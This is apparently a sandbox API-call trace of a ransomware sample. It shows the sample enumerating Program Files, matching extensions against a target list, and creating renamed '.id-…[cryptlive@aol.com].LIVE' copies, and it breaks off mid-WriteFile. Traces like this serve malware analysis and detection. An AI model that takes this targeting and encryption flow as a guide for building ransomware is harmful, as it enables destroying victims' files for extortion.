lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0131.162] lstrlenW (lpString=".rar") returned 4 [0131.162] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0131.162] lstrlenW (lpString=".bz2") returned 4 [0131.162] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0131.162] lstrlenW (lpString=".7z") returned 3 [0131.162] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0131.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.162] lstrlenW (lpString=".dbf") returned 4 [0131.162] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0131.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.163] lstrlenW (lpString=".1cd") returned 4 [0131.163] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0131.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned 64 [0131.163] lstrlenW (lpString=".jpg") returned 4 [0131.163] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0131.163] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x42850b0, Size=0x4000) returned 0x42850b0 [0131.163] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0131.163] lstrlenW (lpString="MSTTSLoc.dll") returned 12 [0131.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.263] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=9728) returned 1 [0131.263] CloseHandle (hObject=0x36c) returned 1 [0131.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll")) returned 0x20 [0131.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\msttsloc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.291] lstrlenW (lpString=".doc") returned 4 [0131.291] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.291] lstrlenW (lpString=".docx") returned 5 [0131.291] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0131.291] lstrlenW (lpString=".pdf") returned 4 [0131.291] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.291] lstrlenW (lpString=".xls") returned 4 [0131.291] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.291] lstrlenW (lpString=".xlsx") returned 5 [0131.291] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0131.291] lstrlenW (lpString=".ppt") returned 4 [0131.291] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.291] lstrlenW (lpString=".zip") returned 4 [0131.291] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.291] lstrlenW (lpString=".rar") returned 4 [0131.291] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.291] lstrlenW (lpString=".bz2") returned 4 [0131.291] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.291] lstrlenW (lpString=".7z") returned 3 [0131.291] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.292] lstrlenW (lpString=".dbf") returned 4 [0131.292] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.292] lstrlenW (lpString=".1cd") returned 4 [0131.292] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.292] lstrlenW (lpString=".jpg") returned 4 [0131.292] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.292] lstrlenW (lpString=".doc") returned 4 [0131.292] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.292] lstrlenW (lpString=".docx") returned 5 [0131.292] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0131.292] lstrlenW (lpString=".pdf") returned 4 [0131.292] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.292] lstrlenW (lpString=".xls") returned 4 [0131.292] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.292] lstrlenW (lpString=".xlsx") returned 5 [0131.292] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0131.292] lstrlenW (lpString=".ppt") returned 4 [0131.292] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.292] lstrlenW (lpString=".zip") returned 4 [0131.292] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.292] lstrlenW (lpString=".rar") returned 4 [0131.292] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.292] lstrlenW (lpString=".bz2") returned 4 [0131.292] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.292] lstrlenW (lpString=".7z") returned 3 [0131.292] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.292] lstrlenW (lpString=".dbf") returned 4 [0131.293] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.293] lstrlenW (lpString=".1cd") returned 4 [0131.293] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned 72 [0131.293] lstrlenW (lpString=".jpg") returned 4 [0131.293] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.293] lstrcmpiW (lpString1=".fx", lpString2=".LIVE") returned -1 [0131.293] lstrlenW (lpString="Parity.fx") returned 9 [0131.293] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0131.347] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=36575) returned 1 [0131.347] CloseHandle (hObject=0x36c) returned 1 [0131.347] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx")) returned 0x20 [0131.374] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.374] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx" (normalized: "c:\\program files\\dvd maker\\shared\\parity.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.374] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.374] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.374] lstrlenW (lpString=".doc") returned 4 [0131.375] lstrcmpiW (lpString1=".doc", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString=".docx") returned 5 [0131.375] lstrcmpiW (lpString1=".docx", lpString2="ty.fx") returned -1 [0131.375] lstrlenW (lpString=".pdf") returned 4 [0131.375] lstrcmpiW (lpString1=".pdf", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString=".xls") returned 4 [0131.375] lstrcmpiW (lpString1=".xls", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString=".xlsx") returned 5 [0131.375] lstrcmpiW (lpString1=".xlsx", lpString2="ty.fx") returned -1 [0131.375] lstrlenW (lpString=".ppt") returned 4 [0131.375] lstrcmpiW (lpString1=".ppt", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.375] lstrlenW (lpString=".zip") returned 4 [0131.375] lstrcmpiW (lpString1=".zip", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString=".rar") returned 4 [0131.375] lstrcmpiW (lpString1=".rar", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString=".bz2") returned 4 [0131.375] lstrcmpiW (lpString1=".bz2", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString=".7z") returned 3 [0131.375] lstrcmpiW (lpString1=".7z", lpString2=".fx") returned -1 [0131.375] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.375] lstrlenW (lpString=".dbf") returned 4 [0131.375] lstrcmpiW (lpString1=".dbf", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.375] lstrlenW (lpString=".1cd") returned 4 [0131.375] lstrcmpiW (lpString1=".1cd", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.375] lstrlenW (lpString=".jpg") returned 4 [0131.375] lstrcmpiW (lpString1=".jpg", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.375] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.375] lstrlenW (lpString=".doc") returned 4 [0131.375] lstrcmpiW (lpString1=".doc", lpString2="y.fx") returned -1 [0131.375] lstrlenW (lpString=".docx") returned 5 [0131.375] lstrcmpiW (lpString1=".docx", lpString2="ty.fx") returned -1 [0131.375] lstrlenW (lpString=".pdf") returned 4 [0131.376] lstrcmpiW (lpString1=".pdf", lpString2="y.fx") returned -1 [0131.376] lstrlenW (lpString=".xls") returned 4 [0131.376] lstrcmpiW (lpString1=".xls", lpString2="y.fx") returned -1 [0131.376] lstrlenW (lpString=".xlsx") returned 5 [0131.376] lstrcmpiW (lpString1=".xlsx", lpString2="ty.fx") returned -1 [0131.376] lstrlenW (lpString=".ppt") returned 4 [0131.376] lstrcmpiW (lpString1=".ppt", lpString2="y.fx") returned -1 [0131.376] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.376] lstrlenW (lpString=".zip") returned 4 [0131.376] lstrcmpiW (lpString1=".zip", lpString2="y.fx") returned -1 [0131.376] lstrlenW (lpString=".rar") returned 4 [0131.376] lstrcmpiW (lpString1=".rar", lpString2="y.fx") returned -1 [0131.376] lstrlenW (lpString=".bz2") returned 4 [0131.376] lstrcmpiW (lpString1=".bz2", lpString2="y.fx") returned -1 [0131.376] lstrlenW (lpString=".7z") returned 3 [0131.376] lstrcmpiW (lpString1=".7z", lpString2=".fx") returned -1 [0131.376] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.376] lstrlenW (lpString=".dbf") returned 4 [0131.376] lstrcmpiW (lpString1=".dbf", lpString2="y.fx") returned -1 [0131.376] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.376] lstrlenW (lpString=".1cd") returned 4 [0131.376] lstrcmpiW (lpString1=".1cd", lpString2="y.fx") returned -1 [0131.376] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\Parity.fx") returned 43 [0131.376] lstrlenW (lpString=".jpg") returned 4 [0131.376] lstrcmpiW (lpString1=".jpg", lpString2="y.fx") returned -1 [0131.376] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0131.376] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0131.376] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0131.497] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=2560) returned 1 [0131.498] CloseHandle (hObject=0x328) returned 1 [0131.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0131.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.504] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.504] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.504] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.504] lstrlenW (lpString=".doc") returned 4 [0131.504] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0131.504] lstrlenW (lpString=".docx") returned 5 [0131.504] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0131.504] lstrlenW (lpString=".pdf") returned 4 [0131.504] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0131.505] lstrlenW (lpString=".xls") returned 4 [0131.505] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0131.505] lstrlenW (lpString=".xlsx") returned 5 [0131.505] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0131.505] lstrlenW (lpString=".ppt") returned 4 [0131.505] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0131.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.505] lstrlenW (lpString=".zip") returned 4 [0131.505] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0131.505] lstrlenW (lpString=".rar") returned 4 [0131.505] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0131.505] lstrlenW (lpString=".bz2") returned 4 [0131.505] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0131.505] lstrlenW (lpString=".7z") returned 3 [0131.505] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0131.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.505] lstrlenW (lpString=".dbf") returned 4 [0131.505] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0131.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.505] lstrlenW (lpString=".1cd") returned 4 [0131.505] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0131.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.505] lstrlenW (lpString=".jpg") returned 4 [0131.505] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0131.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.505] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.505] lstrlenW (lpString=".doc") returned 4 [0131.505] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0131.506] lstrlenW (lpString=".docx") returned 5 [0131.506] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0131.506] lstrlenW (lpString=".pdf") returned 4 [0131.506] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0131.506] lstrlenW (lpString=".xls") returned 4 [0131.506] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0131.506] lstrlenW (lpString=".xlsx") returned 5 [0131.506] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0131.506] lstrlenW (lpString=".ppt") returned 4 [0131.506] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0131.506] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.506] lstrlenW (lpString=".zip") returned 4 [0131.506] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0131.506] lstrlenW (lpString=".rar") returned 4 [0131.506] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0131.506] lstrlenW (lpString=".bz2") returned 4 [0131.506] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0131.506] lstrlenW (lpString=".7z") returned 3 [0131.506] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0131.506] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.506] lstrlenW (lpString=".dbf") returned 4 [0131.506] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0131.506] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.506] lstrlenW (lpString=".1cd") returned 4 [0131.506] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0131.506] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 55 [0131.506] lstrlenW (lpString=".jpg") returned 4 [0131.506] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0131.506] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0131.507] lstrlenW (lpString="otthose.exe") returned 11 [0131.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe" (normalized: "c:\\program files\\microsoft analysis services\\otthose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0131.916] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=78336) returned 1 [0131.916] CloseHandle (hObject=0x328) returned 1 [0131.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe" (normalized: "c:\\program files\\microsoft analysis services\\otthose.exe")) returned 0x20 [0131.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft analysis services\\otthose.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0131.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe" (normalized: "c:\\program files\\microsoft analysis services\\otthose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0131.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.973] lstrlenW (lpString=".doc") returned 4 [0131.973] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.973] lstrlenW (lpString=".docx") returned 5 [0131.973] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0131.973] lstrlenW (lpString=".pdf") returned 4 [0131.973] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.973] lstrlenW (lpString=".xls") returned 4 [0131.973] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.973] lstrlenW (lpString=".xlsx") returned 5 [0131.973] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0131.973] lstrlenW (lpString=".ppt") returned 4 [0131.973] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.973] lstrlenW (lpString=".zip") returned 4 [0131.973] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.973] lstrlenW (lpString=".rar") returned 4 [0131.973] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.973] lstrlenW (lpString=".bz2") returned 4 [0131.973] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.973] lstrlenW (lpString=".7z") returned 3 [0131.973] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.973] lstrlenW (lpString=".dbf") returned 4 [0131.973] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.973] lstrlenW (lpString=".1cd") returned 4 [0131.973] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.973] lstrlenW (lpString=".jpg") returned 4 [0131.973] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.974] lstrlenW (lpString=".doc") returned 4 [0131.974] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0131.974] lstrlenW (lpString=".docx") returned 5 [0131.974] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0131.974] lstrlenW (lpString=".pdf") returned 4 [0131.974] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0131.974] lstrlenW (lpString=".xls") returned 4 [0131.974] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0131.974] lstrlenW (lpString=".xlsx") returned 5 [0131.974] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0131.974] lstrlenW (lpString=".ppt") returned 4 [0131.974] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0131.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.974] lstrlenW (lpString=".zip") returned 4 [0131.974] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0131.974] lstrlenW (lpString=".rar") returned 4 [0131.974] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0131.974] lstrlenW (lpString=".bz2") returned 4 [0131.974] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0131.974] lstrlenW (lpString=".7z") returned 3 [0131.974] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0131.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.974] lstrlenW (lpString=".dbf") returned 4 [0131.974] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0131.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.974] lstrlenW (lpString=".1cd") returned 4 [0131.975] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0131.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\otthose.exe") returned 56 [0131.975] lstrlenW (lpString=".jpg") returned 4 [0131.975] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0131.975] lstrcmpiW (lpString1=".MID", lpString2=".LIVE") returned 1 [0131.975] lstrlenW (lpString="CARBN_01.MID") returned 12 [0131.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0133.679] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=9322) returned 1 [0133.679] CloseHandle (hObject=0x36c) returned 1 [0133.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 0x20 [0133.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0133.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0133.696] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.696] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0133.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0133.948] GetLastError () returned 0x0 [0133.948] ReadFile (in: hFile=0x36c, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x246a, lpOverlapped=0x0) returned 1 [0133.960] WriteFile (in: hFile=0x1fc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x2470, 